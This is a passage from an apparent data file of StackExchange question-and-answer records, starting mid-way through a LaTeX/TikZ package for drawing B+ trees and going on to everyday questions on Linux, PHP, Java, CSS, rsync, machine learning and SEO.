2 elements is supplied as key list, the node contains of% the two keys and two empty nodes ([| key1 | key2 |  |  |]).% The other way round, if the comma-separated list contains more than% \\noOfPointersPerNode elements, the oversupplied elements are simply ignored% and thus are not contained in the matrix of nodes.% The generated matrix of nodes is not named because this is not needed to% connect the nodes. However, the nodes inside this matrix of nodes are named% (see macros \\@create@key@matrix@node and \\@create@key@matrix@node).%% Todo: Encapsulate the part inside the \\whiledo and \\ifthenelse, respectively,%       into an own macros (if possible; may not be possible because of the%       expanding of the arguments/counters). By now this is more or less%       duplicated code.%% Arguments:%   #1 ...  The level of the node (used for naming in called macros)%   #2 ...  Number of the node of level #1%   #3 ...  Values as comma-separated list%   #4 ...  Name of the variable the B+ tree node content is stored to%% Example of the usage:%   \\SetNoOfPoinersPerNode{4}%   \\CreateBTreeNode{0}{1}{{5}}{\\levelZeroNodeOne}%   \\node[BTreeNodeDefault] {\\levelZeroNodeOne};%%   The first line set the number of pointers per node to a maximum of 4. The%   second line generates the content of the matrix of nodes, stored in%   \\levelZeroNodeOne. \\levelZeroNodeOne afterwards contains of a matrix of%   nodes [| 5 | | |]. So \\levelZeroNodeOne can be used as content for the%   subsequent call of node, which then has to be a matrix of nodes%   (\\levelZeroNodeOne is a matrix content separated by & and \\\\).%%\\newcommand{\\CreateBTreeNode}[4] {%  % initialize pointer counter (is then incremented for each pointer generated)  \\pointerCounter = 1%  % initialize variable the node content is stored into (set it empty)  \\let#4\\empty%  % for each value of the comma-separated list  \\foreach \\x in #3 {%    % only insert until the maximum number of pointers per node is reached    \\ifthenelse{\\not{\\the\\pointerCounter < \\noOfPointersPerNode}}{\\breakforeach}{%      % expand first two arguments upfront (necessary)      \\edef\\tmpexpand{{\\x}{\\the\\pointerCounter}}%      % the \\@create@key@matrix@node macros generates a part of the whole node      % matrix and this content is then appended here      % also the arguments are expanded accordingly      \\expandafter\\gappto\\expandafter#4\\expandafter{%        \\expandafter\\@create@key@matrix@node\\tmpexpand{#1}{#2}%      }%      % increment pointer counter      \\global\\advance\\pointerCounter by 1%    }%  }%  % here the remaining empty key nodes of the matrix are produced (if there are  % less keys than (number of pointers per node - 1) supplied)  \\whiledo{\\the\\pointerCounter < \\noOfPointersPerNode}{%    % expand first two arguments upfront (necessary)    \\edef\\tmpexpand{{}{\\the\\pointerCounter}}%    % the \\@create@key@matrix@node macros generates a part of the whole node    % matrix and this content is then appended here (in essence, here the empty    % nodes are generated and appended).    % also the arguments are expanded accordingly    \\expandafter\\gappto\\expandafter#4\\expandafter{%      \\expandafter\\@create@key@matrix@node\\tmpexpand{#1}{#2}%    }%    % increment pointer counter    \\global\\advance\\pointerCounter by 1%  }%  % here the last pointer node is appended to the matrix  \\expandafter\\gappto\\expandafter#4\\expandafter{%    \\expandafter\\@create@pointer@matrix@node%    \\expandafter{\\the\\pointerCounter}{#1}{#2}%  }%  % append the line of the matrix of nodes is finished (with \\\\)  \\gappto#4{\\\\}%}%%%% Connects all pointers of a given node on a given (source) level to all its% children of a given (destination level) with an arrow (solid). This only works% if the nodes of the B+ tree are named like mentioned in the% \\@create@key@matrix@node and \\@create@pointer@matrix@node, respectively.%   % Arguments:%   #1 ...  Number of source (tree) level%   #2 ...  Number of source node (parent node)%   #3 ...  Number of destination (tree) level%   #4 ...  Number of (child) nodes to be connected with parent%   #5 ...  Number of the first (child) node to be connected with parent%% Example of the usage:%   \\ConnectBTreeNodes{0}{1}{1}{2}{1}%%       Generates arrows from node 1 of the top level (0) to 2 child nodes of the%   subsequent level (1) of the tree. We have 2 children on the subsequent level%   and the first node to be connect (on the subsequent level) is node 1. A node%   contains 3 search keys, hence it has 4 pointers. The incoming arrows on any%   node on the subsequent level arrives at the north center of the node.%%\\newcommand{\\ConnectBTreeNodes}[5] {%  % initialize temporary counter (just used to iterate)  \\tempCounter = 0%  % draw a vertical arrow (connect) from the source node to each child node  \\whiledo{\\the\\tempCounter < #4} {%    % compute current node number:    % temporary counter + the number of the node to start with    \\nodeNumber = \\the\\tempCounter%    \\advance\\nodeNumber by #5%    % compute current pointer number: temporary counter + 1    \\pointerNumber = \\the\\tempCounter%    \\advance\\pointerNumber by 1%    % draw an arrow from south of the computed pointer number to middle of the    % north of the node with the previously computed number    \\draw[->, >=stealth] (l#1-n#2-p\\the\\pointerNumber.south) --      ($(l#3-n\\the\\nodeNumber-p1.north)!0.5!(l#3-n\\the\\nodeNumber-p\\the\\noOfPointersPerNode.north)$);%    % increment temporary counter    \\global\\advance\\tempCounter by 1%  }%}%%%%   Connects all leaf nodes of a given (leaf) level with a dotted arrow. The arrow% starts at .east of the rightmost node inside the leaf and ends at .west% of the leftmost node inside the next leaf. This only works if the nodes of the% B+ tree are named like mentioned in in the \\@create@key@matrix@node and% \\@create@pointer@matrix@node, respectively.%% Arguments:%   #1 ... Number of the (tree) level of the leaves%   #2 ... Number of leaf nodes to be connected%% Example of the usage:%   \\ConnectBTreeLeaves{2}{5}%%   Generates arrows between 5 nodes of the leaf level (here 2).%%\\newcommand{\\ConnectBTreeLeaves}[2] {%  % initialize node number (used to iterate)  \\nodeNumber = 1%  % draw horizontal, dotted arrows (connect) between all leaf nodes  % arrows are drawn from left to right  \\whiledo{\\the\\nodeNumber < #2} {%    % compute next node number: current node number + 1    \\nextNodeNumber = \\nodeNumber%    \\advance\\nextNodeNumber by 1%    % draw a dotted arrow between two leaf nodes (from left to right)    \\draw[->, >=stealth, dotted]      (l#1-n\\the\\nodeNumber-p\\the\\noOfPointersPerNode.east) --      (l#1-n\\the\\nextNodeNumber-p1.west);%    % increment node number    \\global\\advance\\nodeNumber by 1%  }%}%\\endinputexample-simple.tex\\documentclass{article}% Use btreevis package\\usepackage{btreevis}\\begin{document}  \\begin{center}  \\begin{tikzpicture}[    % Use default B+ tree style    BTreeDefault,    % Sibling and level distance for 1 level.    % These have to be adapted for almost every B+ tree if    %   - the number of pointers per node and/or    %   - the matrix content and/or    %   - the number of levels and/or    %   - the number of children    % changes.    level 1/.style = {      sibling distance = 8em,      level distance = 6em    }  ]     % Set number of pointers per node (this should be done always upfront)    \\SetNoOfPoinersPerNode{4}    % Generate content of (tree) level 0 (root level)    \\CreateBTreeNode{0}{1}{{3, 9}}{\\levelZeroNodeOne}    % Generate content of (tree) level 1    \\CreateBTreeNode{1}{1}{{1, 2}}{\\levelOneNodeOne}    \\CreateBTreeNode{1}{2}{{3, 4, 6}}{\\levelOneNodeTwo}    \\CreateBTreeNode{1}{3}{{9, 10}}{\\levelOneNodeThree}    % Generate B+ tree nodes using the previously generated node contents    \\node[BTreeNodeDefault] {\\levelZeroNodeOne}    child { node[BTreeNodeDefault] {\\levelOneNodeOne} }    child { node[BTreeNodeDefault] {\\levelOneNodeTwo} }    child { node[BTreeNodeDefault] {\\levelOneNodeThree} };    % Connect B+ tree nodes (vertical, solid arrows)    \\ConnectBTreeNodes{0}{1}{1}{3}{1}    % Connect B+ tree leaf nodes (horizontal, dotted arrows)    \\ConnectBTreeLeaves{1}{3}  \\end{tikzpicture}  \\end{center}\\end{document}If necessary, I could also provide an advanced example, but the code is quite long (although most of the lines are explanatory comments).Simple example (code above):Advanced example (as mentioned, I could provide the code for this too):"  , "title": "B+ Tree Visualization in LaTeX/TikZ"  , "tags": "tree;graphics;tex"  } 
{  "id": "_unix.239922"  , "question": "I'm having trouble connecting to my xpra server. I've installed Xpra version v0.14.10, on my raspberry pi 2 which running on Raspbian Jessie Distro. I connect to my RPi through putty with X11 forwarding Enabled, and X display location being: localhost:0:0I run the command:sudo xpra start :1337 --start-child=xterm --bind-tcp=0.0.0.0:1337on the server side (RPi) and on my windows I try connecting to the xpra server using the Xpra Launcher. My settings are:Mode: TCPEncoding: H.264Quality: AutoSpeed: Auto192.168.0.24 : 1337No passwordWhen I try to connect it outputs an error in red:server requested disconnect: server error (error accepting new connection)Has anyone encountered this problem before? How do you fix it? Thank you."  , "title": "Xpra server error (error accepting new connection)"  , "tags": "linux;x11;xpra"  } 
{  "id": "_unix.194380"  , "question": "I came across the following line of code (source):IFS=$'\\r'I'm not quite sure how to interpret that line (specifically why there is a $ character before the newline). It seems like the special variable named IFS is being set to a variable named the newline character?What does this line do, and what part of Bash allows this?"  , "title": "What does $'\\r' mean?"  , "tags": "bash"  } 
{  "id": "_webmaster.28104"  , "question": "Possible Duplicate:What Forum Software should I use? I am looking to start a new forum, with a traditional forum layout (like webhostingtalk, for example).In this space, I know phpBB and SMF are strong contenders. I do not know for sure the names of other great forum software that might exist...My most important need is that it should be easy to modify the display area, at the least, without having to dig too much into the core. Drupal excels in this area with its templating system, but the forum module doesn't look like the forum interface most people are used to...It would be a great plus if the software has alternative Captchas like question based or invisible Captcha. If it doesn't, I would like to be able to code it in without much trouble (that is, the software exposes a good API)"  , "title": "Which free PHP based forum is the easiest to extend or customize?"  , "tags": "forum;free;open source"  } 
{  "id": "_codereview.20476"  , "question": "I am curious to know if there is a faster, better, and more efficient way to accomplish this program that acquires employee information:    <?phpsession_start();//require 'functions.php';//require 'DB.php';$employeeID = $_SESSION['employeeID'];$clockIn = $_GET['clockIn'];$clockOut = $_GET['clockOut'];$timeToday = date(g:i a);$dateToday = date(m/d/y);$jobDescription = $_GET['jobDesc'];$equipType = $_GET['equipTypeRan'];$unitNumber = $_GET['unitNumber'];$unitHours = $_GET['unitHours'];if (isset($clockIn)) {    echo You clocked in at:  . $timeToday .  on  . $dateToday;    try {    $conn = new PDO('mysql:host=localhost;dbname=timecard', 'username', 'password');    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $stmt = $conn->prepare('INSERT INTO timeRecords (employeeID, date, timeIn) VALUES (:employeeID, :dateToday, :timeIn)');    $stmt->execute(array(':employeeID' => $_SESSION['employeeID'], ':dateToday' => $dateToday, ':timeIn' => $timeToday));    } catch(PDOException $e){        echo'ERROR: ' . $e->getMessage();    }    $conn = null;} else if (isset($clockOut)) {        try {    $conn = new PDO('mysql:host=localhost;dbname=timecard', 'username', 'password');    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $stmt = $conn->prepare('UPDATE `timeRecords` SET `timeOut`= :timeOut WHERE `date`= :dateToday AND `employeeID`= :employeeID');    $stmt->execute(array(':employeeID' => $_SESSION['employeeID'],':dateToday' => $dateToday, ':timeOut' => $timeToday));    $stmt = $conn->prepare('SELECT `timeIn` FROM `timeRecords` WHERE `date`= :dateToday AND `employeeID` = :employeeID');    $stmt->execute(array(':employeeID' => $_SESSION['employeeID'], ':dateToday' => $dateToday));    $stmt->setFetchMode(PDO::FETCH_BOTH);    $results = $stmt->fetch();    $timeInDB = $results[0];    } catch(PDOException $e){        echo'ERROR: ' . $e->getMessage();    }    $time_one = new DateTime($timeInDB);    $time_two = new DateTime($timeToday);    $difference = $time_one->diff($time_two);    echo You clocked in at:  . $timeInDB . <br>;    echo You clocked out at:  . $timeToday . <br>;    echo $difference->format('Total working time %h hours %i minutes');}else {try{    $conn = new PDO('mysql:host=localhost;dbname=timecard', 'username', 'password');    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $stmt = $conn->prepare(SELECT COUNT(*) FROM timeRecords WHERE `timeOut` IS NULL AND `employeeID`= :employeeID AND `date`= :dateToday);    $stmt->execute(array(':employeeID' => $employeeID, ':dateToday' => $dateToday));    } catch(PDOException $e){        echo'ERROR: ' . $e->getMessage();    }if($stmt->fetchColumn() > 0){    try{    $conn = new PDO('mysql:host=localhost;dbname=timecard', 'username', 'password');    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $stmt = $conn->prepare('UPDATE `timeRecords` SET `jobDescription`= :jobDescription, `equipType`= :equipType, `unitNumber`= :unitNumber, `unitHours`= :unitHours,                             `timeOut`= :timeOut WHERE `employeeID`= :employeeID AND `date`= :dateToday AND `timeOut` IS NULL');    $stmt->execute(array(':employeeID' => $employeeID, ':timeOut' => $timeToday, ':dateToday' => $dateToday, ':jobDescription' => $jobDescription,                         ':equipType' => $equipType, ':unitNumber' => $unitNumber, ':unitHours' => $unitHours));    $stmt = $conn->prepare('INSERT INTO timeRecords (employeeID, date, timeIn) VALUES (:employeeID, :dateToday, :timeIn)');    $stmt ->execute(array(':employeeID' => $employeeID, ':dateToday'=> $dateToday, ':timeIn' => $timeToday));    } catch(PDOException $e){        echo'ERROR: ' . $e->getMessage();    }    echo There was an update;} else {    echo There was no Match;}    require 'summary.php';}?>"  , "title": "Acquiring employee information"  , "tags": "php;mysql;pdo"  } 
{  "id": "_unix.326634"  , "question": "I was trying to make a bootable Ubuntu stick.  However, even though the stick could easily handle the ISO size, in the writing the size of the 2GB stick was exceeded.  Now I want to clear off the stick so it can be used.  I am not succeeding! Please note that I cannot even dismount the stick.  I would like to avoid reformatting.  Transcript follows:me-user@my-site:/media$ dfFilesystem            1K-blocks     Used Available Use% Mounted onudev                    1714260        4   1714256   1% /devtmpfs                    353072     1180    351892   1% /run/dev/sda5             467009128 21992532 421270856   5% /none                          4        0         4   0% /sys/fs/cgroupnone                       5120        0      5120   0% /run/locknone                    1765356      172   1765184   1% /run/shmnone                     102400       28    102372   1% /run/user/home/me-user/.Private 467009128 21992532 421270856   5% /home/me-user/dev/sdb2                  2346        0      2346   0% /media/me-user/Ubuntu 16.04.1 LTS amd64me-user@my-site:/media$ ls -a me-user/U*.  ..me-user@my-site:/media$ ls -a me-user.  ..  Ubuntu 16.04.1 LTS amd64me-user@my-site:/media$ sudo rm -rf /media/me-user/U*rm: cannot remove /media/me-user/Ubuntu 16.04.1 LTS amd64: Device or resource busyme-user@my-site:/media$ lsof +D /media/me-userme-user@my-site:/media$ sudo umount /dev/sdb2me-user@my-site:/media$ dfFilesystem            1K-blocks     Used Available Use% Mounted onudev                    1714260        4   1714256   1% /devtmpfs                    353072     1180    351892   1% /run/dev/sda5             467009128 21992576 421270812   5% /none                          4        0         4   0% /sys/fs/cgroupnone                       5120        0      5120   0% /run/locknone                    1765356      172   1765184   1% /run/shmnone                     102400       28    102372   1% /run/user/home/me-user/.Private 467009128 21992576 421270812   5% /home/me-user/dev/sdb2                  2346        0      2346   0% /media/me-user/Ubuntu 16.04.1 LTS amd64me-user@my-site:/media$ cdme-user@my-site:~$ sudo rmdir /media/linton/U*rmdir: failed to remove /media/me-user/Ubuntu 16.04.1 LTS amd64: Device or resource busyLater.... following comment suggesting using fdisk:me-user@my-site:~$ sudo fdisk /dev/sdbWARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.So, I am now trying to use GNU Parted to format the disk, but I have to go to school on this.Many days later...I solved my problem.  What I wanted to do was to make the USB usable again and I did not need to save existing data. What caused the problem was trying to make an Ubuntu live disk using 2GB stick.  Although both the ISO and the final product are well under 2GB, somehow the installation depends on having at least 2GB free space!?  My 2GB USB stick did not have enough space and sw was damaged.fdisk and other MBR programs did not work because the installation of the Ubuntu Live ISO also changed the stick to the GPT format.  I never was able to get gdisk (which does understand GPT) to solve the problem and I don't know why. I had problems with read-only and other errors while using it. Also, it demands system reboots to finalize the changes.After many hours of research and learning more about disk formatting, I discovered the disk manager in Gnome which I was able to run in Ubuntu XFCE, Mint Cinnamon, and Korora XFCE from the application menu or text search.  Doing this with its graphical interface described here for example.  Using this utility, it was so easy that I don't think it necessary to lay it all out here.  Basically, I reformatted the drive in MBR format and then created a single FAT partition.  (Gdisk is very confusing for this in that it does not offer FAT among its 30+ choices by that name.)  That was it! "  , "title": "How do I delete files on my USB stick and dismount it?"  , "tags": "mount;usb;rm"  , "accepted_answer": "The solution was to use the Disk Manager utility.  See above in edited problem description."  } 
{  "id": "_unix.151880"  , "question": "I want to sync a directory between two systems. To make it more interesting the syncing must only be done in one direction, i.e.:if a file is deleted in the source directory, it must also be deleted in the destination, if it was previously transfereddeleted files in the destination directory must not be deleted in the sourcepartially transfered files (e.g. because of network problems) must be finished on the next syncnew files in the source directory must be transfered to the destinationdeleted files in the destination directory must not be re-transferedThat means the source system has basically a master role, except that deleted files in the destination will not be forced back.Both Linux systems have rsync/ssh/scp available.New files in the source directory are created in such a way that one can use their mtime to detect them, e.g.:if mtime(file) > date-of-last-sync then: it is a new file that needs to be transferedAlso, existing files are not changed in the source directory, i.e. the sync does not need to check for differences in already (completely) transfered files."  , "title": "One-way-sync a directory, but leave deleted files deleted on the destination"  , "tags": "rsync;synchronization"  } 
{  "id": "_datascience.13778"  , "question": "My situation is that I have many thousands of devices which each have their own specific LSTM model for anomaly prediction. These devices behave wildly differently so I don't think there is any way to have a shared global model, unfortunately. Periodically I will update each device model with the new data from the device - so maybe once per day I will load an additional daily batch of readings and use the properties of stateful LSTM training to update the model.Each of these models is very small, containing at most 10-20 thousand readings in their whole history, and fitting into memory on even a modest GPU. Training from scratch is relatively quick, and updating a single batch should be even more so, as typically there are only 48 new readings/day (30 minute intervals), but going as high as 1440 readings/day.My question is - what is an optimal architecture for handling all of these models and updates? They are all independent and small, so I don't see a need for anything distributed, but there are so many of them that I am unsure how to proceed. I am thinking that perhaps using something like an AWS 'large' GPU cluster, with each GPU loading a serialized model from the DB, updating with a new batch of data, and writing back could work - however, I suspect that having to repeatedly compile the models will be a blocker and that being able to do only 4 at a time is woefully insufficient. Alternatively, it may be possible to do the 'initial' training on some kind of powerful GPU rig, and then do the batch updates on CPU's, which would make it easier to run many instances in parallel. Is this an example of where Spark might be useful? Any advice is appreciated - including 'your premise is absurd, why would you do this!' This is only one of many ways available to do the anomaly detection, so if the architecture implementation is unfeasible, I will abandon the LSTM's altogether and try something simpler."  , "title": "Scalable training/updating of many small LSTM models"  , "tags": "machine learning;apache spark;scalability;parallel"  } 
{  "id": "_softwareengineering.81951"  , "question": "For example, I'm changing color pallettes throughout a site i'm coding and would love it if i could reference that color somehow instead of replacing the hex value for every item. I know the following doesn't work but i'd like something similar.color1 = red;color2 = blue;color3 = green;h1 {color: color1;background-color: color2;}h2 {color: color2;background-color: color3;}"  , "title": "Can you reference one data value by a name throughout a stylesheet?"  , "tags": "css"  , "accepted_answer": "This is among several missing features in CSS. You can still get this functionality, but you need to move outside the box. Take a look at Less CSS. It's really quite nice."  } 
{  "id": "_softwareengineering.341857"  , "question": "I have a problem with design a few simple classes. I want a four classes: one recursively delete directory, another copy one dir to another same way. Another two does same as first two but they add observable behaviour: calculates few parameters like estimated time or percents of doing operation and fire up observers.What is the best way of design them?the simpliest way to do this this scheme: but I have problems with violation of DRY principle in code that calculates percents and other values in observable class. I may be move that code to abstract class but i need to extends that abstract class and appropriate Copy or Delete class, this is forbidden in javaI have decision to implement strategy pattern but this uml and my code still smell.what is the best solution here, where are my mistakes?"  , "title": "Problem with OOP design"  , "tags": "java;design patterns;object oriented;uml"  , "accepted_answer": "You have some alternatives. Each one has benefits and downsides. There's no magic formula to programming; you have to make choices based on your best guess about what will work.Make it part of the base classYou could implement it as part of the base Action class.public abstract class Action {    private List<Listener> listeners;    public Action() {        this.listeners = new ArrayList<Listener>();    }    public void addListener(Listener l) {        this.listeners.add(l);    }    // You'll need a remove listener function, too.    public final void performAction() {        for(Listener l: this.listeners) {            l.notify(/* args here*/);        }        this.innerPerformAction();    }    protected abstract void innerPerformAction();}The main benefit to this is that every Action can have listeners. No one can inistantiate one that isn't capable of notifying another piece of code.Implement a wrapperComposition might be a good fit here.public class ObservableAction extends Action {    private List<Listener> listeners;    private Action action;    public ObservableAction(Action a) {        this.listeners = new ArrayList<Listener>();        this.action = a;     }    public void addListener(Listener l) {        this.listeners.add(l);    }    public void performAction() {        // Do observing here        this.action.performAction();    }}Then,Action deleteAction = new ObservableAction(new DeleteAction());This one makes more sense if you need more targetted observations, in only some places. Or if you can't modify Action at all (e.g., it's in a third party library)."  } 
{  "id": "_unix.147740"  , "question": "I have a CIFS filesystem (from a NetAPP) mounted on a Red Hat 6 server using cifs_utils, and am sharing some directories from the CIFS filesystem out over HTTPS via WebDAV.  I need to set some ACLs on the directories so that the local Apache user can access the files on behalf of the users who are accessing the share via WebDAV, but when trying to use setcifsacl from the cifs_utils package, it seems to expect an SID, and doesn't recognize the user apache, or the apache user UID (48).  The man page doesn't give much information.  Any suggestions?  I am mounting the CIFS mount RW already.Mounting with the cifsacl option actually makes things worse, as files are stripped of all permissions (ls -la shows --------- for a file)."  , "title": "Configuring setcifsacl to use local posix user instead of SID for CIFS share on Linux"  , "tags": "linux;cifs;webdav"  , "accepted_answer": "I came to a very simple and ineloquent solution of uid=apache,gid=apache in the mount options, which nullifies the need for ACLs for the apache user."  } 
{  "id": "_unix.261091"  , "question": "I haven't found an advanced tutorial on ranger yet, so my question is: is it possible to execute a command on a selection of files in ranger ?If so, how would I do that ?"  , "title": "Execute command on ranger selection"  , "tags": "ranger"  , "accepted_answer": "This is in man ranger:@Open the console with the content shell %s, placing the cursor  before the  %s so you can quickly run commands with the current  selection as the argument.So,highlight the files you want to work on with Spacetype @ to get to a command prompt which will be :shell  %s with the cursor positioned before %stype the name of your command and press Enterthe command you specified will be executed with selected filenames as parameters"  } 
{  "id": "_webapps.89153"  , "question": "Is it possible that after a multiple choice service type value has been selected giving a pre-VAT value of say 100.00To follow this with a line entry with a multiple choice value of either 0.00 or 42.00 (42 if Refundable Postal deposit option is selected) that element is not subject to VAT in the final order calculation?Please see below:ie, the order would be calculated as follows:Service Type:   100.00Postal deposit:  42.00 - this amount is not subject to VATVAT              20.00Total order:    162.00"  , "title": "How to stop VAT being added to a NON VAT Line item"  , "tags": "cognito forms"  } 
{  "id": "_softwareengineering.3851"  , "question": "How would you consider that a programmer is bad at what he or she is doing?If possible... How should he/she improve?"  , "title": "When would someone be considered a bad programmer?"  , "tags": "self improvement"  , "accepted_answer": "When they fail to learn from their mistakes and from peer reviews.We are all green at some point; however, if you're not getting better or attempting to get better then you're a bad programmer."  } 
{  "id": "_unix.288042"  , "question": "On Linux 5 and 6 I can print the /etc/grub.confHow to verify the latest kernel version on Linux 7? , like we do on Linux 5 and 6 from grub.conf#boot=/dev/sdadefault=0timeout=15#splashimage=(hd0,0)/grub/splash.xpm.gzhiddenmenuserial --unit=0 --speed=115200 --word=8 --parity=no --stop=1terminal --timeout=10 serial consoletitle Red Hat Enterprise Linux Server (2.6.17-1.2519.4.21.el5xen)root (hd0,0)kernel /xen.gz-2.6.17-1.2519.4.21.el5 com1=115200,8n1 dom0_mem=256MBmodule /vmlinuz-2.6.17-1.2519.4.21.el5xen roroot=/dev/VolGroup00/LogVol00module /initrd-2.6.17-1.2519.4.21.el5xen.img"  , "title": "How to print the latest kernel version from grub.conf on Linux 7"  , "tags": "linux;rhel;kernel;grub"  , "accepted_answer": "For example ls /boot/config-* will print you all the installed kernel versions. But there will be a lot more possibilities how to achieve the same.yum info 'kernel*' should do the job too on all the RHEL's"  } 
{  "id": "_cseducators.3208"  , "question": "One common concern many independent learners of computer science and tech have is figuring out what they don't know. More specifically, the concern is that since they've never been formally educated in CS, their knowledge might have blind spots, which can cripple them when they start working on more complex projects or try and get a job. (For example, somebody who didn't know that data structures and algorithms were a thing will very likely struggle on most standard tech interviews).I interact with/help self-learners on a fairly regular basis, and am never quite sure what to tell them when this question comes up. One strategy, of course, is to simply give them a list of things they ought to know -- there are many articles that give a good overview of topics covered by a standard CS degree, for example (example 1, example 2). However, this strategy doesn't generalize well: once you move on to trying to learn about something not on some list, you're back at square one.The other strategy I try suggesting is to just read random highly-upvoted posts on StackOverflow and news aggregate sites like Hacker News -- I've personally found you tend to pick up a good awareness of different CS and tech topics almost by osmosis if you do this. However, this strategy is also flawed: it's a random and slow process, and isn't guaranteed to be comprehensive. (If a topic isn't trendy, it's likely you'll never stumble across it.)This brings me to my core question: what are some effective meta-strategies suitable for self-learners that help them identify gaps in their knowledge? I'm hoping for strategies that are either more generalizable or more systematic then the two I listed up above."  , "title": "Strategies for independent learners to identify gaps in their knowledge"  , "tags": "self learning;conceptual frameworks"  } 
{  "id": "_cogsci.5797"  , "question": "I talked about this with a friend: he told me that there are differences on how people react when they are accused of something. He mentioned that in some countries, people try to avoid it at any cost. In the case, he mentioned that my country (Brazil) has this feature. He also mentioned that he watched the Olympics with narration in both English (from England) and Portuguese (from Brazil) and the narration was quite different when someone made a mistake:Brazil: He hadn't luck.England: He didn't train enough.He also argued that Brazilians prefer to escape to some metaphysical realm and that people from England follow a more pragmatic approach for when they do something wrong. He promised to deliver me some anthropological studies about that, but I guess he forgot it."  , "title": "Are there international differences on how people react when they are guilty of something?"  , "tags": "social psychology;cross cultural psychology;attribution"  } 
{  "id": "_softwareengineering.328935"  , "question": "I have an open-source project which requires me to create mathematical models to compute some things. I have to analyze some data to decide which model works well and determine the range of errors produced by the model.I want to document this analysis, but I don't want to put it directly in the code because:It can be lengthy.It does not fit into any class or method.Because of 2., it would be hard to find it later.There are tables and even images. Also proper typesetting is going to be helpful.I am looking for the most appropriate format for the design documentation. I've thought of a few options:docx: Requires proprietary software to edit it. html: Need to know html syntax to edit the document.Are there any better formats for writing design documents ?"  , "title": "Best format for design document?"  , "tags": "open source;documentation;formatting;document management"  , "accepted_answer": "For an open source project, I would advise not to rely on close proprietary format (i.e. no docx).  In the life of the project, the document will certainly evolve (imagine release 3.0 ! ).  So I'd suggest not to use formats that make it difficult to maintain (i.e. not PDF, as it is more for distributing/archiving than editing). If you'd like a larger part of the community to read the file easily and to contribute, I'd also avoid exotic formats that require to find rare third party tools (i.e. not Latex, unless you target primarily a population of scientific researchers)My suggestions in order of preference:  raw text  la readme.txt -  unicode provides lots of symbols now and formulas could be expressed in a functional way.  Unfortunately you'll have to avoid this option because there's no way to insert diagrams/pictures.  markdown - easier than HTML - possible to insert schemas - cleaner presentation than with raw text.  In addition, services like github display natively this format, which makes it a good choice for open source.  It doesn't let you choose typesetting.  Unfortunately doesn't support MathML yet, so you'd have to express formulas the functional way.OpenDocument (aka .odt) - powerful, standardized (ISO), includes support for math formulas, widely supported and used - definitively a good choice. HTML could be an option as well, with MathML for the formulas. However, I think that for an author it's less convenient to use, so that the balance would be in favor of one of the above ones. "  } 
{  "id": "_unix.30234"  , "question": "I use XFCE 4.8. I'd like new terminal windows to be wider by default (when I start a new terminal instance), but can't find where to configure this. Do you happen to know? "  , "title": "How to set custom default size for new XFCE terminal windows?"  , "tags": "xfce"  , "accepted_answer": "Open ~/.config/xfce4/terminal/terminalrc (in older versions ~/.config/Terminal/terminalrc)and change the line with MiscDefaultGeometry to e.g.MiscDefaultGeometry=X*Y*Z with your default size."  } 
{  "id": "_softwareengineering.293554"  , "question": "I am in a current iteration between design and implementation, and ended up with the following one-liner:IEnumerable<Channel> ActiveChannels = Receiver.AcquisitionInfo                                              .ActiveIndices                                              .Select(v => Receiver.Sensors                                                                   .SelectMany(s => s.Channels)                                                                   .ElementAt(v));Basically, in the class where this code appears, I need to know, from the available channels, which of those are activated. There is an AcquisitionInfo object holding the list of Sensors with their respective Channels, and so on.Just by looking to the code, it is obvious that it has some syndrome. Just like the saying he wanted a banana, but got a gorilla holding a banana and the whole forest!, or, like some blogger has stated: imagine if you go to the grocery clerk, take off your pants and hand it to him, so that he can take your wallet from the pant's pocket, and then take the proper amount of money from the wallet.So, is there a name for this smell / anti-pattern? If not, how could I characterize it and, most important, how should I refactor it?"  , "title": "Excessive LINQ chaining - Is it considered a code smell, and why?"  , "tags": "refactoring;anti patterns;code smell"  } 
{  "id": "_webmaster.86967"  , "question": "If I wanted to rank for Christmas Coffee does it matter whether my title is A) 2015's Best Christmas CoffeeorB) 2015's Best Coffee of ChristmasHow much weight is put into this? "  , "title": "Does the order of a keyword combination matter in the title and URL?"  , "tags": "seo;keywords;title;optimization"  , "accepted_answer": "While both are close, I prefer option C) Best Christmas Coffee 2015. Here is why.I advise that you read: Well structured URLs vs. URLs optimized for SEO I will not get into to much from this answer, but it still really applies and why I strongly recommend reading it.In this answer I list some of how Google weighs keywords. Keep in mind that Google is a semantics based search engine far more than people realize. While semantic weighting can be applied, these general rules still apply. I discuss this mostly in regard to search queries, but can also apply to anywhere where semantic clues can be short. This includes title tags, header tags, description meta-tags, links, and the like where semantic subject, predicate, and object do not exist. Since none of the options in your question fall into this category, I will list them here again.Google weighs keywords from left to right with some exception.Google weighs known keyword phrases more heavily.Google weighs URI keyword phrases/clusters separated by a slash [/]from left to right.Google weighs keywords used more frequently overall less thankeywords that are more specific.Google weighs keyword modifiers more heavily.Google weighs keywords based upon popularity trends.Google will remove all special (non-alpha-numeric) characters whenweighing keywords.Your use of 2015's would likely drop the 's making it useless. If you search the net, you will find that often if the year is added, it is added at the end of the title tag.The use of terms such as of are of little semantic value and would likely be totally ignored in your example.In English, Christmas Cookie, as a phrase, makes sense. The term best is a modifier which only makes sense before the phrase Christmas cookie since that is how people would think and speak.Remember two things: one, Google does not make keyword matches and that any keyword match found in the SERPs is a byproduct; and two, it is always better to create short content such as title tags as close to how people think and speak as possible.Also remember two more things: one, it is always far better to use a semantically complete sentence or partial sentence with a subject, predicate, and object; and two, that Google fundamentally weighs in order the title tag, description meta-tag, link text, and content using parallel searches of each and blending results using an algorithm.Weighing option C semantically, your keywords would be ordered as Christmas, Cookie, Best, 2015. This is because Christmas Cookie would be seen as a known phrase, best would be seen as a semantic modifier of Christmas Cookie but not as valuable, and 2015 a lesser modifier. You can reorder them any way you want and the semantic weighting will not change. Remember my list above??Option C is best because it closely matches how people think and speak as well as more closely matching semantic weighting."  } 
